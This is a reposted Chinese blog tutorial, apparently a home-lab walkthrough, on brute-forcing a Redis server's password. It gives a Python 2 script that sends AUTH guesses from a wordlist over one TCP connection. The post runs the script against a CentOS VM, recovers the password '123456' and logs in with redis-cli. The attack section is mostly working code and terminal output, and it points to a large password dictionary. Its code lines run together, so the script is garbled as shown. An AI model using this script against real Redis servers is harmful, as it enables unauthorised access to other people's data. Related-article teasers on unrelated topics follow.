血的教训------入侵redis之利用python来破解redis密码

血的教训------入侵redis之利用python来破解redis密码

利用强大的python来进行redis的密码破解，过程不亦乐乎，当然也可以用shell脚本
本篇文章只供学习交流，请勿他用，谢谢。

其他相关联的文章
[1]VMware安装部署kail镜像服务器【详细包含百度云盘镜像】
[2]VMware上面安装部署centos7镜像系统【详细含镜像
[3]Centos7上面部署redis
[4]血的教训—入侵redis并远程控制你的机器场景复现

这里使用的是kail系统，主要原因有两点，1、可以吸引下大家，2、上面直接就有python，不用自己安装，当然了，咱这用的是python2也可以，普通的linux服务器上面也有，所以主要的原因就是第一点吧，哈哈哈哈

环境需要

操作系统ip描述
kail192.168.126.138使用python来进行redis的密码破解
centos7192.168.126.129部署redis-server，来被破解

直接看python脚本

想这种脚本，网上还是比较多的，主要是要找到一个可以自己使用的

#!/usr/bin/env python
# -*- coding: utf-8 -*-import socket
import sysredisCrackFile="passwd.txt"   #破解密码文件，需要单独准备ip="192.168.144.128"   ###redis-server的ip地址
port=6379   ###redis-server的端口
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((ip,port))      #建立tcp连接
with open(redisCrackFile,"r") as f:for i in f:s.send("auth %s " %(i))    #在一个tcp连接里多次使用auth命令猜测authResult=s.recv(1024)if '+OK' in authResult:print "the redis pass is:%s" %is.close()sys.exit(0)

启动redis

如果不知道怎么部署redis，请看另一篇文章，切记一定要给redis配置密码，要不咱破解密码就是个寂寞

[root@localhost redis-3.0.4]# cd src/
[root@localhost src]# ./redis-server ../redis.conf
66895:M 27 Nov 00:17:24.602 * Increased maximum number of open files to 10032 (it was originally set to 1024)._.__.-``__ ''-.__.-``    `.  `_.  ''-._           Redis 3.0.4 (00000000/0) 64 bit.-`` .-```.  ```\/    _.,_ ''-._(    '      ,       .-`  | `,    )     Running in standalone mode|`-._`-...-` __...-.``-._|'` _.-'|     Port: 6379|    `-._   `._    /     _.-'    |     PID: 66895`-._    `-._  `-./  _.-'    _.-'|`-._`-._    `-.__.-'    _.-'_.-'||    `-._`-._        _.-'_.-'    |           http://redis.io`-._    `-._`-.__.-'_.-'    _.-'|`-._`-._    `-.__.-'    _.-'_.-'||    `-._`-._        _.-'_.-'    |`-._    `-._`-.__.-'_.-'    _.-'`-._    `-.__.-'    _.-'`-._        _.-'`-.__.-'66895:M 27 Nov 00:17:24.604 # WARNING: The TCP backlog setting of 511 cannot be enforced because /proc/sys/net/core/somaxconn is set to the lower value of 128.
66895:M 27 Nov 00:17:24.604 # Server started, Redis version 3.0.4
66895:M 27 Nov 00:17:24.604 # WARNING overcommit_memory is set to 0! Background save may fail under low memory condition. To fix this issue add 'vm.overcommit_memory = 1' to /etc/sysctl.conf and then reboot or run the command 'sysctl vm.overcommit_memory=1' for this to take effect.
66895:M 27 Nov 00:17:24.604 # WARNING you have Transparent Huge Pages (THP) support enabled in your kernel. This will create latency and memory usage issues with Redis. To fix this issue run the command 'echo never > /sys/kernel/mm/transparent_hugepage/enabled' as root, and add it to your /etc/rc.local in order to retain the setting after a reboot. Redis must be restarted after THP is disabled.
66895:M 27 Nov 00:17:24.604 * The server is now ready to accept connections on port 6379###redis-server已经正常启动，启动端口为6379

打开kail服务器

启动一个终端

在这里插入图片描述

准备passwd.txt密码本

┌──(liushuai㉿kali)-[~]
└─$ ┌──(liushuai㉿kali)-[~]
└─$ vim passwd.txt           ┌──(liushuai㉿kali)-[~]
└─$ cat passwd.txt 
1
2
3
4
aadas
fdfsd
fvsdfgd
gfdgdf
bdfgdf
123456
123
htrhdf4r3e4
adswerwe                                                                             
┌──(liushuai㉿kali)-[~]
└─$

在这里插入图片描述
如果需要其他的更强大的密码本的话，不建议来下面下载哈，哈哈
100亿以上精准密码字典

编写python脚本

                                                                             
┌──(liushuai㉿kali)-[~]
└─$ vim redis-stack.py┌──(liushuai㉿kali)-[~]
└─$ cat redis-stack.py 
#!/usr/bin/env python
# -*- coding: utf-8 -*-import socket
import sysredisCrackFile="passwd.txt"   #破解密码文件ip="192.168.126.129"
port=6379
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((ip,port))      #建立tcp连接
with open(redisCrackFile,"r") as f:for i in f:s.send("auth %s " %(i))    #在一个tcp连接里多次使用auth命令猜测authResult=s.recv(1024)if '+OK' in authResult:print "the redis pass is:%s" %is.close()sys.exit(0)┌──(liushuai㉿kali)-[~]
└─$

在这里插入图片描述

执行脚本

┌──(liushuai㉿kali)-[~]
└─$ vim redis-stack.py┌──(liushuai㉿kali)-[~]
└─$ python2 redis-stack.py
the redis pass is:123456┌──(liushuai㉿kali)-[~]
└─$

在这里插入图片描述
主要看，咱们用的是python2，python3执行这个脚本会报错，如下：
kail默认的python是python3,这个脚本其实就print函数在2和3中有区别，2中的print函数不需要(),但是python3中需要print()。这个就是报错的原因，如果有兴趣的话，可以自己改一下脚本，然后再执行以下，看看效果
在这里插入图片描述
通过上图咱们已经知道了，redis的密码为123456

测试连接redis-server

如果要连接redis-server的话，我们就得需要一个redis-cli端，来进行连接，方法有很多中

获取redis-cli的方法，建议第二种

1、直接在部署redis-server的服务器上面把redis-cli这个二进制文件复制粘贴到我们的kail就可以使用，redis-cli与我们启动redis-server的是在一个目录下面
2、咱的kail上面直接安装部署一个redis,再者，安装部署也是非常简答粗暴的

部署redis服务

下载源码包

┌──(liushuai㉿kali)-[~]
└─$ wget https://download.redis.io/releases/redis-3.0.4.tar.gz   
--2023-11-27 13:40:23--  https://download.redis.io/releases/redis-3.0.4.tar.gz
Resolving download.redis.io (download.redis.io)... 45.60.125.1
Connecting to download.redis.io (download.redis.io)|45.60.125.1|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://download.redis.io/releases/redis-3.0.4.tar.gz [following]
--2023-11-27 13:40:38--  https://download.redis.io/releases/redis-3.0.4.tar.gz
Connecting to download.redis.io (download.redis.io)|45.60.125.1|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1364993 (1.3M) [application/octet-stream]
Saving to: ‘redis-3.0.4.tar.gz’redis-3.0.4.tar.gz  100%[================>]   1.30M  2.52MB/s    in 0.5s    2023-11-27 13:40:39 (2.52 MB/s) - ‘redis-3.0.4.tar.gz’ saved [1364993/1364993]

解压源码包

┌──(liushuai㉿kali)-[~]
└─$ tar -xvf redis-3.0.4.tar.gz 
redis-3.0.4/
redis-3.0.4/.gitignore
redis-3.0.4/00-RELEASENOTES
redis-3.0.4/BUGS
redis-3.0.4/CONTRIBUTING
redis-3.0.4/COPYING
redis-3.0.4/INSTALL
redis-3.0.4/MANIFESTO
redis-3.0.4/Makefile
redis-3.0.4/README
redis-3.0.4/deps/
redis-3.0.4/deps/Makefile
redis-3.0.4/deps/hiredis/
redis-3.0.4/deps/hiredis/.gitignore
redis-3.0.4/deps/hiredis/.travis.yml
redis-3.0.4/deps/hiredis/CHANGELOG.md
redis-3.0.4/deps/hiredis/COPYING
redis-3.0.4/deps/hiredis/Makefile
********省略好多**********************
redis-3.0.4/utils/lru/
redis-3.0.4/utils/lru/README
redis-3.0.4/utils/lru/test-lru.rb
redis-3.0.4/utils/mkrelease.sh
redis-3.0.4/utils/redis-copy.rb
redis-3.0.4/utils/redis-sha1.rb
redis-3.0.4/utils/redis_init_script
redis-3.0.4/utils/redis_init_script.tpl
redis-3.0.4/utils/speed-regression.tcl
redis-3.0.4/utils/whatisdoing.sh

进行编译

──(liushuai㉿kali)-[~]
└─$ cd redis-3.0.4    ┌──(liushuai㉿kali)-[~/redis-3.0.4]
└─$ make && make install
cd src && make all
make[1]: Entering directory '/home/liushuai/redis-3.0.4/src'
rm -rf redis-server redis-sentinel redis-cli redis-benchmark redis-check-dump redis-check-aof *.o *.gcda *.gcno *.gcov redis.info lcov-html
(cd ../deps && make distclean)
make[2]: Entering directory '/home/liushuai/redis-3.0.4/deps'
(cd hiredis && make clean) > /dev/null || true
(cd linenoise && make clean) > /dev/null || true
(cd lua && make clean) > /dev/null || true
(cd jemalloc && [ -f Makefile ] && make distclean) > /dev/null || true
(rm -f .make-*)
make[2]: Leaving directory '/home/liushuai/redis-3.0.4/deps'
(rm -f .make-*)
echo STD=-std=c99 -pedantic >> .make-settings
echo WARN=-Wall -W >> .make-settings
echo OPT=-O2 >> .make-settings
echo MALLOC=jemalloc >> .make-settings
echo CFLAGS= >> .make-settings
echo LDFLAGS= >> .make-settings
echo REDIS_CFLAGS= >> .make-settings
echo REDIS_LDFLAGS= >> .make-settings
echo PREV_FINAL_CFLAGS=-std=c99 -pedantic -Wall -W -O2 -g -ggdb   -I../deps/hiredis -I../deps/linenoise -I../deps/lua/src -DUSE_JEMALLOC -I../deps/jemalloc/include >> .make-settings
echo PREV_FINAL_LDFLAGS=  -g -ggdb -rdynamic >> .make-settings
(cd ../deps && make hiredis linenoise lua jemalloc)
make[2]: Entering directory '/home/liushuai/redis-3.0.4/deps'
(cd hiredis && make clean) > /dev/null || true
(cd linenoise && make clean) > /dev/null || true
*****************省略好多*********************
redis-check-aof.c:141:9: note: in expansion of macro ‘ERROR’141 |         ERROR("Reached EOF before reading EXEC for MULTI");|         ^~~~~LINK redis-check-aofHint: It's a good idea to run 'make test' ;)make[1]: Leaving directory '/home/liushuai/redis-3.0.4/src'
cd src && make install
make[1]: Entering directory '/home/liushuai/redis-3.0.4/src'Hint: It's a good idea to run 'make test' ;)INSTALL install
install: cannot create regular file '/usr/local/bin/redis-server': Permission denied
make[1]: *** [Makefile:249: install] Error 1
make[1]: Leaving directory '/home/liushuai/redis-3.0.4/src'
make: *** [Makefile:9: install] Error 2   ####发现有报错，但是我们不管他，因为这个不是我们主要要的
##我们主要要的是redis-cli这个命令
┌──(liushuai㉿kali)-[~/redis-3.0.4]
└─$ cd src  ┌──(liushuai㉿kali)-[~/redis-3.0.4/src]
└─$ ll redis-cli
-rwxr-xr-x 1 liushuai liushuai 2034704 Nov 27 13:47 redis-cli   ###看见这个二进制文件已经存在，我们测试下可以正常使用不

测试连接

┌──(liushuai㉿kali)-[~/redis-3.0.4/src]
└─$ ./redis-cli -h 192.168.126.129 -p 6379 -a 123456
192.168.126.129:6379> set a 6
OK
192.168.126.129:6379> get a
"6"
192.168.126.129:6379>

在这里插入图片描述
经过测试，密码已经破解出来，并且可以正常连接redis-server

结束语

努力肯定很累，但是一定很快乐

可以看看其他相关联的文章
[1]VMware安装部署kail镜像服务器【详细包含百度云盘镜像】
[2]VMware上面安装部署centos7镜像系统【详细含镜像
[3]Centos7上面部署redis
[4]血的教训—入侵redis并远程控制你的机器场景复现

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.mzph.cn/news/175812.shtml

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

C#-创建用于测试的父类StartupBase用于服务注入

C#-创建用于测试的父类StartupBase用于服务注入

当写完C#代码，需要对某个方法进行测试。 创建一个XXXTests.cs文件之后，发现需要注入某个服务怎么办？ 再创建一个StartupBase.cs文件： public abstract class StartupBase {public IConfiguration Configuration { get; }public …
阅读更多...
西南科技大学电路分析基础实验A1（一阶电路的设计）

西南科技大学电路分析基础实验A1（一阶电路的设计）

目录 一、实验目的 二、实验设备 三、预习内容(如：基本原理、电路图、计算值等) 四、实验数据及结果分析（预习写必要实验步骤和表格） 1. 观测一阶电
阅读更多...
【香橙派】实战记录2——烧录安卓镜像及基本功能

【香橙派】实战记录2——烧录安卓镜像及基本功能

文章目录 一、安卓烧录二、安卓基本功能1、蓝牙2、相机功能3、投屏 一、安卓烧录 检查环境：检查PC系统，确保有Microsoft Visual C 2008 Redistrbutable - x86，否则在官网下载的官方工具 - 安卓镜像烧录工具里运行vcredist_x86.exe。 插入存储…
阅读更多...
鞋厂ERP怎么样?工厂要如何选项契合的ERP

鞋厂ERP怎么样?工厂要如何选项契合的ERP

鞋帽这类商品是我们的生活必需品，存在款式多、尺码多、用料复杂、营销渠道多、销售策略和价格策略灵活等情况，伴随电商等行业的发展，鞋帽行业的管理模式也在发生变化。 鞋厂规模的不同，遇到的管理问题各异，而如何解决…
阅读更多...
十分钟搭建VScode C/C++运行环境

十分钟搭建VScode C/C++运行环境

一、下载配置vscode 1.下载安装VScode 地址：https://code.visualstudio.com/download 下载后，运行安装程序 (VSCodeUserSetup-{version}.exe)。这只需要一分钟。安装程序会将 Visual Studio Code 添加到环境变量中%，可以使用CMD键入“code”…
阅读更多...
2023-2024-1-高级语言程序设计-字符数组

2023-2024-1-高级语言程序设计-字符数组

7-1 凯撒密码 为了防止信息被别人轻易窃取，需要把电码明文通过加密方式变换成为密文。输入一个以回车符为结束标志的字符串（少于80个字符），再输入一个整数offset，用凯撒密码将其加密后输出。恺撒密码是一种简单的替换…
阅读更多...
性价比高的照明品牌，考研考公必备护眼台灯推荐

性价比高的照明品牌，考研考公必备护眼台灯推荐

据国家卫生健康委员会发布的调查数据显示,我国青少年儿童总体近视率为52.7%、高度近视人口超3000万。儿童是民族的未来和希望,青少年儿童眼健康问题更是牵动着每一个人的神经。遗传、双眼视功能不正常、用眼负荷过重等因素都是造成青少年近视的原因,其中,大量的电子产品侵入以及…
阅读更多...
Flask Session 登录认证模块

Flask Session 登录认证模块

Flask 框架提供了强大的 Session 模块组件，为 Web 应用实现用户注册与登录系统提供了方便的机制。结合 Flask-WTF 表单组件，我们能够轻松地设计出用户友好且具备美观界面的注册和登录页面，使这一功能能够直接应用到我们的项目中。本文将深入探…
阅读更多...
动态网页从数据库取信息，然后展示。

动态网页从数据库取信息，然后展示。

把数据库的驱动放在bin目录下。 通过servlet 读取数据库的内容，生成session,然后跨页面传给展示页。 package src;import java.io.IOException; import java.io.PrintWriter; import java.sql.Connection; import java.sql.DriverManager; import java.sql.ResultSe…
阅读更多...
ROC及曲线面积汇总学习

ROC及曲线面积汇总学习

目录 ROC基础 生成模拟数据 率的计算 R语言计算测试 ROCR： pROC ROC绘制 单个ROC 两个ROC Logistic回归的ROC曲线 timeROC ROC基础 ROC曲线的横坐标是假阳性率，纵坐标是真阳性率，需要的结果是这个率表示疾病阳性的率（…
阅读更多...
QT基础开发笔记

QT基础开发笔记

用VS 写QT ，设置exe图标的方法： 选定工程--》右键--》添加---》资源--》 QString 字符串用法总结说明 Qt QString 增、删、改、查、格式化等常用方法总结_qstring 格式化-CSDN博客 总结来说： QString 的 remove有两种用法，&am…
阅读更多...
【JavaSE】:接口（一）

【JavaSE】:接口（一）

接口 一.什么是接口二.语法规则三.接口的使用四.实现多个接口五.接口的继承 final关键字 inal修饰的变量，这个变量是不可修改的。final修饰后的方法，禁止子类继承的时候重写方法。final修饰后的类，是禁止被继承的。 super关键字 如果父类(超类…
阅读更多...
Proto3语法详解02

Proto3语法详解02

目录 1.默认值 2.更新消息 2.1更新规则 2.2保留字段reserved 2.2.1创建通讯录3.0版本---验证错误删除字段造成的数据损坏 2.3未知字段 2.3.1未知字段从哪获取 3.3.2升级通讯录3.1版本--验证未知字段 2.4前后兼容性 3.选项option 3.1选项分类 3.2常用选项列举 1.默认值…
阅读更多...
Python之基础语法和六大数据类型

Python之基础语法和六大数据类型

学习的最大理由是想摆脱平庸，早一天就多一份人生的精彩；迟一天就多一天平庸的困扰。各位小伙伴，如果您： 想系统/深入学习某技术知识点… 一个人摸索学习很难坚持，想组团高效学习… 想写博客但无从下手，急需…
阅读更多...
pg truncate

pg truncate

命令选项 TRUNCATE [ TABLE ] [ ONLY ] name [ * ] [, ... ][ RESTART IDENTITY | CONTINUE IDENTITY ] [ CASCADE | RESTRICT ]1.ONLY:只truncate指定的表。当表有继承子表或有子分区时，默认会一起truncate;only可只truncate继承父表。分区父表不能指定only --不…
阅读更多...
vue2使用ts vue-class-component

vue2使用ts vue-class-component

目前，对于Vue3来说，TypeScript的支持已经相当成熟，但公司的老项目一直处于迭代和维护无法从v2重构成v3，并且重构的成本也是很大的一个问题，所以记录一下vue2如何去搭配TypeScript。 目录 一、脚手架创建项目 二、vu…
阅读更多...
计算机网络：快速了解网络框架

计算机网络：快速了解网络框架

文章目录 前言一、什么是Internet？1.从具体构成角度什么是协议？ 2.从服务角度3小结 二、网络边缘1.采用网络设施面向连接服务（TCP）2.采用基础设施的无连接服务（UDP） 三、网络的核心1.电路交换2.分组交换3.分…
阅读更多...
Android : 获取、添加、手机联系人-ContentResolver简单应用

Android : 获取、添加、手机联系人-ContentResolver简单应用

示例图： MainActivity.java package com.example.mygetdata;import androidx.annotation.NonNull; import androidx.appcompat.app.AppCompatActivity; import androidx.core.app.ActivityCompat; import androidx.core.content.ContextCompat;import android.Mani…
阅读更多...
2024 年应该使用 Bun、Node.js 还是 Deno

2024 年应该使用 Bun、Node.js 还是 Deno

2024 年应该使用 Bun、Node.js 还是 Deno 到 2024 年，构建基于 JavaScript 的现代 API 相对简单。我们可以使用Express.js等库并在几分钟内启动可用的 API。但是，现在最具挑战性的部分是选择正确的 JavaScript 引擎。 目前主流的三个运行时是&#xff…
阅读更多...
Android 单元测试初体验(二)-断言

Android 单元测试初体验(二)-断言

[TOC](Android 单元测试初体验(二)-断言) 前言 当初在学校学安卓的时候，老师敢教学进度，翻到单元测试这一章节的时候提了两句，没有把单元测试当重点讲，只是说我们工作中几乎不会用到，果真在之前的几年工作当中我真的没…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023